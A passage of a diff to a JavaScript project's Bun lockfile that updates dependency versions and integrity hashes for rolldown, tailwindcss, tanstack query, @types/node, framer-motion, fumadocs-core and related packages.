"sha512-fy8rXxuYEu602abC8MUNaPjYLIFzReOaEIEMKMUa0rFEUxNpVXhs15KSSQ4qlqSaM7B6rcj9rDZgADh/IGDzLQ=="], - "@rolldown/binding-linux-x64-gnu": ["@rolldown/binding-linux-x64-gnu@1.0.0-rc.17", "", { "os": "linux", "cpu": "x64" }, "sha512-cLnjV3xfo7KslbU41Z7z8BH/E1y5mzUYzAqih1d1MDaIGZRCMqTijqLv76/P7fyHuvUcfGsIpqCdddbxLLK9rA=="], + "@rolldown/binding-linux-x64-gnu": ["@rolldown/binding-linux-x64-gnu@1.0.2", "", { "os": "linux", "cpu": "x64" }, "sha512-0+bOkiQ779+r1WpoHOWHqncvyySci0vKph+myNDYb+im6meJAzHQXay6oEgnkHuUGouM1LKTZwqKpBow6Kj7CQ=="], - "@rolldown/binding-linux-x64-musl": ["@rolldown/binding-linux-x64-musl@1.0.0-rc.17", "", { "os": "linux", "cpu": "x64" }, "sha512-0phclDw1spsL7dUB37sIARuis2tAgomCJXAHZlpt8PXZ4Ba0dRP1e+66lsRqrfhISeN9bEGNjQs+T/Fbd7oYGw=="], + "@rolldown/binding-linux-x64-musl": ["@rolldown/binding-linux-x64-musl@1.0.2", "", { "os": "linux", "cpu": "x64" }, "sha512-mjSkrzZK5Qsl0a9d1JgILOiuZOSDTVdKENcSXBoqbzSrspLR/4/IRVDo5wd2GgZjNss/viBFJdeq+j7qH2nypw=="], - "@rolldown/binding-openharmony-arm64": ["@rolldown/binding-openharmony-arm64@1.0.0-rc.17", "", { "os": "none", "cpu": "arm64" }, "sha512-0ag/hEgXOwgw4t8QyQvUCxvEg+V0KBcA6YuOx9g0r02MprutRF5dyljgm3EmR02O292UX7UeS6HzWHAl6KgyhA=="], + "@rolldown/binding-openharmony-arm64": ["@rolldown/binding-openharmony-arm64@1.0.2", "", { "os": "none", "cpu": "arm64" }, "sha512-1v5vHasdfQAZoEHakBV72LIFAC9JjnymsiKxp+GEr/ma3+NJCPSaYK+qavInOovJkgwFrs7GccX2d6IgDA3Z5w=="], - "@rolldown/binding-wasm32-wasi": ["@rolldown/binding-wasm32-wasi@1.0.0-rc.17", "", { "dependencies": { "@emnapi/core": "1.10.0", "@emnapi/runtime": "1.10.0", "@napi-rs/wasm-runtime": "^1.1.4" }, "cpu": "none" }, "sha512-LEXei6vo0E5wTGwpkJ4KoT3OZJRnglwldt5ziLzOlc6qqb55z4tWNq2A+PFqCJuvWWdP53CVhG1Z9NtToDPJrA=="], + "@rolldown/binding-wasm32-wasi": ["@rolldown/binding-wasm32-wasi@1.0.2", "", { "dependencies": { "@emnapi/core": "1.10.0", "@emnapi/runtime": "1.10.0", "@napi-rs/wasm-runtime": "^1.1.4" }, "cpu": "none" }, "sha512-mb1VobWn6NheziTk5/WEaR6AKVbrwT5sOi6C7zk3gy/pD1qtJfU1j4PgTo2NJnOtbL9Dl3Aeei8w9jJ7qC2jZQ=="], - "@rolldown/binding-win32-arm64-msvc": ["@rolldown/binding-win32-arm64-msvc@1.0.0-rc.17", "", { "os": "win32", "cpu": "arm64" }, "sha512-gUmyzBl3SPMa6hrqFUth9sVfcLBlYsbMzBx5PlexMroZStgzGqlZ26pYG89rBb45Mnia+oil6YAIFeEWGWhoZA=="], + "@rolldown/binding-win32-arm64-msvc": ["@rolldown/binding-win32-arm64-msvc@1.0.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-SqKonF56vA/L2yHwHYcEp2P34URpOZ7d1fS635cTkpDnUtEGdUbhI6NzsPdqeSWvAAeGDrxjWjNmibDIdFf9/A=="], - "@rolldown/binding-win32-x64-msvc": ["@rolldown/binding-win32-x64-msvc@1.0.0-rc.17", "", { "os": "win32", "cpu": "x64" }, "sha512-3hkiolcUAvPB9FLb3UZdfjVVNWherN1f/skkGWJP/fgSQhYUZpSIRr0/I8ZK9TkF3F7kxvJAk0+IcKvPHk9qQg=="], + "@rolldown/binding-win32-x64-msvc": ["@rolldown/binding-win32-x64-msvc@1.0.2", "", { "os": "win32", "cpu": "x64" }, "sha512-v7qRI7gXLRINcOGXt+7YmAZ6iFuyZVMIoXAxhd8oP+DR9dLfL9GfNIx7PLMxmhZdvq8waUJBQiWN9EKNy+TRBQ=="], - "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.0-rc.17", "", {}, "sha512-n8iosDOt6Ig1UhJ2AYqoIhHWh/isz0xpicHTzpKBeotdVsTEcxsSA/i3EVM7gQAj0rU27OLAxCjzlj15IWY7bg=="], + "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.1", "", {}, "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw=="], "@rollup/rollup-android-arm-eabi": ["@rollup/rollup-android-arm-eabi@4.53.3", "", { "os": "android", "cpu": "arm" }, "sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w=="], @@ -475,35 +476,35 @@ "@standard-schema/utils": ["@standard-schema/utils@0.3.0", "", {}, "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="], - "@tailwindcss/node": ["@tailwindcss/node@4.2.4", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.19.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.2.4" } }, "sha512-Ai7+yQPxz3ddrDQzFfBKdHEVBg0w3Zl83jnjuwxnZOsnH9pGn93QHQtpU0p/8rYWxvbFZHneni6p1BSLK4DkGA=="], + "@tailwindcss/node": ["@tailwindcss/node@4.3.0", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.21.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.3.0" } }, "sha512-aFb4gUhFOgdh9AXo4IzBEOzBkkAxm9VigwDJnMIYv3lcfXCJVesNfbEaBl4BNgVRyid92AmdviqwBUBRKSeY3g=="], - "@tailwindcss/oxide": ["@tailwindcss/oxide@4.2.4", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.2.4", "@tailwindcss/oxide-darwin-arm64": "4.2.4", "@tailwindcss/oxide-darwin-x64": "4.2.4", "@tailwindcss/oxide-freebsd-x64": "4.2.4", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.2.4", "@tailwindcss/oxide-linux-arm64-gnu": "4.2.4", "@tailwindcss/oxide-linux-arm64-musl": "4.2.4", "@tailwindcss/oxide-linux-x64-gnu": "4.2.4", "@tailwindcss/oxide-linux-x64-musl": "4.2.4", "@tailwindcss/oxide-wasm32-wasi": "4.2.4", "@tailwindcss/oxide-win32-arm64-msvc": "4.2.4", "@tailwindcss/oxide-win32-x64-msvc": "4.2.4" } }, "sha512-9El/iI069DKDSXwTvB9J4BwdO5JhRrOweGaK25taBAvBXyXqJAX+Jqdvs8r8gKpsI/1m0LeJLyQYTf/WLrBT1Q=="], + "@tailwindcss/oxide": ["@tailwindcss/oxide@4.3.0", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.3.0", "@tailwindcss/oxide-darwin-arm64": "4.3.0", "@tailwindcss/oxide-darwin-x64": "4.3.0", "@tailwindcss/oxide-freebsd-x64": "4.3.0", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.0", "@tailwindcss/oxide-linux-arm64-gnu": "4.3.0", "@tailwindcss/oxide-linux-arm64-musl": "4.3.0", "@tailwindcss/oxide-linux-x64-gnu": "4.3.0", "@tailwindcss/oxide-linux-x64-musl": "4.3.0", "@tailwindcss/oxide-wasm32-wasi": "4.3.0", "@tailwindcss/oxide-win32-arm64-msvc": "4.3.0", "@tailwindcss/oxide-win32-x64-msvc": "4.3.0" } }, "sha512-F7HZGBeN9I0/AuuJS5PwcD8xayx5ri5GhjYUDBEVYUkexyA/giwbDNjRVrxSezE3T250OU2K/wp/ltWx3UOefg=="], - "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.2.4", "", { "os": "android", "cpu": "arm64" }, "sha512-e7MOr1SAn9U8KlZzPi1ZXGZHeC5anY36qjNwmZv9pOJ8E4Q6jmD1vyEHkQFmNOIN7twGPEMXRHmitN4zCMN03g=="], + "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.3.0", "", { "os": "android", "cpu": "arm64" }, "sha512-TJPiq67tKlLuObP6RkwvVGDoxCMBVtDgKkLfa/uyj7/FyxvQwHS+UOnVrXXgbEsfUaMgiVvC4KbJnRr26ho4Ng=="], - "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.2.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-tSC/Kbqpz/5/o/C2sG7QvOxAKqyd10bq+ypZNf+9Fi2TvbVbv1zNpcEptcsU7DPROaSbVgUXmrzKhurFvo5eDg=="], + "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.3.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-oMN/WZRb+SO37BmUElEgeEWuU8E/HXRkiODxJxLe1UTHVXLrdVSgfaJV7pSlhRGMSOiXLuxTIjfsF3wYvz8cgQ=="], - "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.2.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-yPyUXn3yO/ufR6+Kzv0t4fCg2qNr90jxXc5QqBpjlPNd0NqyDXcmQb/6weunH/MEDXW5dhyEi+agTDiqa3WsGg=="], + "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.3.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-N6CUmu4a6bKVADfw77p+iw6Yd9Q3OBhe0veaDX+QazfuVYlQsHfDgxBrsjQ/IW+zywL8mTrNd0SdJT/zgtvMdA=="], - "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.2.4", "", { "os": "freebsd", "cpu": "x64" }, "sha512-BoMIB4vMQtZsXdGLVc2z+P9DbETkiopogfWZKbWwM8b/1Vinbs4YcUwo+kM/KeLkX3Ygrf4/PsRndKaYhS8Eiw=="], + "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.3.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-zDL5hBkQdH5C6MpqbK3gQAgP80tsMwSI26vjOzjJtNCMUo0lFgOItzHKBIupOZNQxt3ouPH7RPhvNhiTfCe5CQ=="], - "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.2.4", "", { "os": "linux", "cpu": "arm" }, "sha512-7pIHBLTHYRAlS7V22JNuTh33yLH4VElwKtB3bwchK/UaKUPpQ0lPQiOWcbm4V3WP2I6fNIJ23vABIvoy2izdwA=="], + "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.3.0", "", { "os": "linux", "cpu": "arm" }, "sha512-R06HdNi7A7OEoMsf6d4tjZ71RCWnZQPHj2mnotSFURjNLdBC+cIgXQ7l81CqeoiQftjf6OOblxXMInMgN2VzMA=="], - "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-+E4wxJ0ZGOzSH325reXTWB48l42i93kQqMvDyz5gqfRzRZ7faNhnmvlV4EPGJU3QJM/3Ab5jhJ5pCRUsKn6OQw=="], + "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.3.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-qTJHELX8jetjhRQHCLilkVLmybpzNQAtaI/gaoVoidn/ufbNDbAo8KlK2J+yPoc8wQxvDxCmh/5lr8nC1+lTbg=="], - "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-bBADEGAbo4ASnppIziaQJelekCxdMaxisrk+fB7Thit72IBnALp9K6ffA2G4ruj90G9XRS2VQ6q2bCKbfFV82g=="], + "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.3.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-Z6sukiQsngnWO+l39X4pPbiWT81IC+PLKF+PHxIlyZbGNb9MODfYlXEVlFvej5BOZInWX01kVyzeLvHsXhfczQ=="], - "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-7Mx25E4WTfnht0TVRTyC00j3i0M+EeFe7wguMDTlX4mRxafznw0CA8WJkFjWYH5BlgELd1kSjuU2JiPnNZbJDA=="], + "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.3.0", "", { "os": "linux", "cpu": "x64" }, "sha512-DRNdQRpSGzRGfARVuVkxvM8Q12nh19l4BF/G7zGA1oe+9wcC6saFBHTISrpIcKzhiXtSrlSrluCfvMuledoCTQ=="], - "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-2wwJRF7nyhOR0hhHoChc04xngV3iS+akccHTGtz965FwF0up4b2lOdo6kI1EbDaEXKgvcrFBYcYQQ/rrnWFVfA=="], + "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.3.0", "", { "os": "linux", "cpu": "x64" }, "sha512-Z0IADbDo8bh6I7h2IQMx601AdXBLfFpEdUotft86evd/8ZPflZe9COPO8Q1vw+pfLWIUo9zN/JGZvwuAJqduqg=="], - "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.2.4", "", { "dependencies": { "@emnapi/core": "^1.8.1", "@emnapi/runtime": "^1.8.1", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.1.1", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-FQsqApeor8Fo6gUEklzmaa9994orJZZDBAlQpK2Mq+DslRKFJeD6AjHpBQ0kZFQohVr8o85PPh8eOy86VlSCmw=="], + "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.3.0", "", { "dependencies": { "@emnapi/core": "^1.10.0", "@emnapi/runtime": "^1.10.0", "@emnapi/wasi-threads": "^1.2.1", "@napi-rs/wasm-runtime": "^1.1.4", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.8.1" }, "cpu": "none" }, "sha512-HNZGOUxEmElksYR7S6sC5jTeNGpobAsy9u7Gu0AskJ8/20FR9GqebUyB+HBcU/ax6BHuiuJi+Oda4B+YX6H1yA=="], - "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.2.4", "", { "os": "win32", "cpu": "arm64" }, "sha512-L9BXqxC4ToVgwMFqj3pmZRqyHEztulpUJzCxUtLjobMCzTPsGt1Fa9enKbOpY2iIyVtaHNeNvAK8ERP/64sqGQ=="], + "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.3.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-Pe+RPVTi1T+qymuuRpcdvwSVZjnll/f7n8gBxMMh3xLTctMDKqpdfGimbMyioqtLhUYZxdJ9wGNhV7MKHvgZsQ=="], - "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.2.4", "", { "os": "win32", "cpu": "x64" }, "sha512-ESlKG0EpVJQwRjXDDa9rLvhEAh0mhP1sF7sap9dNZT0yyl9SAG6T7gdP09EH0vIv0UNTlo6jPWyujD6559fZvw=="], + "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.3.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Mvrf2kXW/yeW/OTezZlCGOirXRcUuLIBx/5Y12BaPM7wJoryG6dfS/NJL8aBPqtTEx/Vm4T4vKzFUcKDT+TKUA=="], - "@tailwindcss/vite": ["@tailwindcss/vite@4.2.4", "", { "dependencies": { "@tailwindcss/node": "4.2.4", "@tailwindcss/oxide": "4.2.4", "tailwindcss": "4.2.4" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-pCvohwOCspk3ZFn6eJzrrX3g4n2JY73H6MmYC87XfGPyTty4YsCjYTMArRZm/zOI8dIt3+EcrLHAFPe5A4bgtw=="], + "@tailwindcss/vite": ["@tailwindcss/vite@4.3.0", "", { "dependencies": { "@tailwindcss/node": "4.3.0", "@tailwindcss/oxide": "4.3.0", "tailwindcss": "4.3.0" }, "peerDependencies": { "vite": "^5.2.0 || ^6 || ^7 || ^8" } }, "sha512-t6J3OrB5Fc0ExuhohouH0fWUGMYL6PTLhW+E7zIk/pdbnJARZDCwjBznFnkh5ynRnIRSI4YjtTH0t6USjJISrw=="], "@tanstack/devtools": ["@tanstack/devtools@0.10.2", "", { "dependencies": { "@solid-primitives/event-listener": "^2.4.3", "@solid-primitives/keyboard": "^1.3.3", "@solid-primitives/resize-observer": "^2.1.3", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "@tanstack/devtools-ui": "0.4.4", "clsx": "^2.1.1", "goober": "^2.1.16", "solid-js": "^1.9.9" } }, "sha512-6TPNl3jTrCFpyV3m9lBeHxum6btmiihbv+A3xkDpt3JScRcWP1a8G5rZzKhlOtikzG1QSiceRrbckKnIAvZ7FQ=="], @@ -517,11 +518,11 @@ "@tanstack/devtools-vite": ["@tanstack/devtools-vite@0.4.1", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="], - "@tanstack/query-core": ["@tanstack/query-core@5.100.5", "", {}, "sha512-t20KrhKkf0HXzqQkPbJ5erhFesup68BAbwFgYmTrS7bxMF7O5MdmL8jUkik4thsG7Hg00fblz30h6yF1d5TxGg=="], + "@tanstack/query-core": ["@tanstack/query-core@5.100.14", "", {}, "sha512-5X41dGpxgeaHISCRW2oYwcSycZeULZzAunaudXT9ov1KOTj9xwt0CH6hbwqP1/z74ZWF7rYFnDpyYH07XFcZew=="], "@tanstack/react-devtools": ["@tanstack/react-devtools@0.9.1", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="], - "@tanstack/react-query": ["@tanstack/react-query@5.100.5", "", { "dependencies": { "@tanstack/query-core": "5.100.5" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-aNwj1mi2v2bQ9IxkyR1grLOUkv3BYWoykHy9KDyLNbjC3tsahbOHJibK+Wjtr1wRhG59/AvJhiJG5OlthaCgJA=="], + "@tanstack/react-query": ["@tanstack/react-query@5.100.14", "", { "dependencies": { "@tanstack/query-core": "5.100.14" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-oOr6aRdSFEwWhzxEkD/9ZcItM3+LjBSkeVmadWKwUssAHTsqd/7bOjWrX4AbvEkoEhgAxzN0Xk6H/aYzXiYBAw=="], "@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="], @@ -541,13 +542,13 @@ "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@types/node": ["@types/node@25.6.0", "", { "dependencies": { "undici-types": "~7.19.0" } }, "sha512-+qIYRKdNYJwY3vRCZMdJbPLJAtGjQBudzZzdzwQYkEPQd+PJGixUL5QfvCLDaULoLv+RhT3LDkwEfKaAkgSmNQ=="], + "@types/node": ["@types/node@25.9.1", "", { "dependencies": { "undici-types": ">=7.24.0 <7.24.7" } }, "sha512-xfrlY7UD5rMJk3ZVJP8BNzS28J36YJg+xp+LPXV1TdWxr8uMH5A860QNxYDGQe/ylDSgjxE52Q9VnO7p75tJxg=="], "@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="], "@types/prismjs": ["@types/prismjs@1.26.5", "", {}, "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ=="], - "@types/react": ["@types/react@19.2.14", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w=="], + "@types/react": ["@types/react@19.2.15", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-eRwcGNHve+E8qtEQSSRl6urh+rFop4v8gm6O8rGv25CodbvFdLjA1vVQ1KkiFE0w0UPOnb8tDiFKL5lp0rtY5Q=="], "@types/react-copy-to-clipboard": ["@types/react-copy-to-clipboard@5.0.7", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="], @@ -591,7 +592,7 @@ "balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="], - "baseline-browser-mapping": ["baseline-browser-mapping@2.8.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-OPz5aBThlyLFgxyhdwf/s2+8ab3OvT7AdTNvKHBwpXomIYeXqpUUuT8LrdtxZSsWJ4R4CU1un4XGh5Ez3nlTpw=="], + "baseline-browser-mapping": ["baseline-browser-mapping@2.10.32", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-wbPvpyjJPC0zdfdKXxqEL3Ea+bOMD/87X4lftiJkkaBiuG6ALQy1SLmEd7BSmVCuwCQsBrCamgBoLyfFDD1EPg=="], "boxen": ["boxen@7.0.0", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^7.0.0", "chalk": "^5.0.1", "cli-boxes": "^3.0.0", "string-width": "^5.1.2", "type-fest": "^2.13.0", "widest-line": "^4.0.1", "wrap-ansi": "^8.0.1" } }, "sha512-j//dBVuyacJbvW+tvZ9HuH03fZ46QcaKvvhZickZqtB271DxJ7SNRSNxrV/dZX0085m7hISRZWbzWlJvx/rHSg=="], @@ -719,7 +720,7 @@ "emoji-regex": ["emoji-regex@9.2.2", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="], - "enhanced-resolve": ["enhanced-resolve@5.20.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA=="], + "enhanced-resolve": ["enhanced-resolve@5.22.0", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-xYcDWrpELkFzz9SpZ3PlI6Eu6eD93Yf0WLDRxikGhWJ3MAir2SNZTIVCVZqZ/NUyx8AdMc2gT9C0gPiw18kG+A=="], "entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="], @@ -771,15 +772,15 @@ "format": ["format@0.2.2", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="], - "framer-motion": ["framer-motion@12.38.0", "", { "dependencies": { "motion-dom": "^12.38.0", "motion-utils": "^12.36.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-rFYkY/pigbcswl1XQSb7q424kSTQ8q6eAC+YUsSKooHQYuLdzdHjrt6uxUC+PRAO++q5IS7+TamgIw1AphxR+g=="], + "framer-motion": ["framer-motion@12.40.0", "", { "dependencies": { "motion-dom": "^12.40.0", "motion-utils": "^12.39.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-uaBd3qC1v3KQqBEjwTUd183K6PbS+j0yR9w9VmEOLWA/tnUcSn8Xa3uck7t4dgpDoUss8xQTcj8W2L07lrnLFg=="], "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], - "fumadocs-core": ["fumadocs-core@16.8.4", "", { "dependencies": { "@orama/orama": "^3.1.18", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "^0.26.0 || ^0.27.0 || ^1.0.0", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-o8N7YocCSdoehR7cTSYv9usvE3F5q0rrnoro3hGRnSI1SdolmeuxTbdfQgebaP61E7wAI4hIWgo7CzImGRT2Tw=="], + "fumadocs-core": ["fumadocs-core@16.9.1", "", { "dependencies": { "@orama/orama": "^3.1.18", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "js-yaml": "^4.1.1", "mdast-util-mdx": "^3.0.0", "mdast-util-to-markdown": "^2.1.2", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^4.0.2", "tinyglobby": "^0.2.16", "unified": "^11.0.5", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "@mdx-js/mdx": "*", "@mixedbread/sdk": "0.x.x", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/estree-jsx": "*", "@types/hast": "*", "@types/mdast": "*", "@types/react": "*", "algoliasearch": "5.x.x", "flexsearch": "*", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "*", "zod": "4.x.x" }, "optionalPeers": ["@mdx-js/mdx", "@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/estree-jsx", "@types/hast", "@types/mdast", "@types/react", "algoliasearch", "flexsearch", "lucide-react", "next", "react", "react-dom", 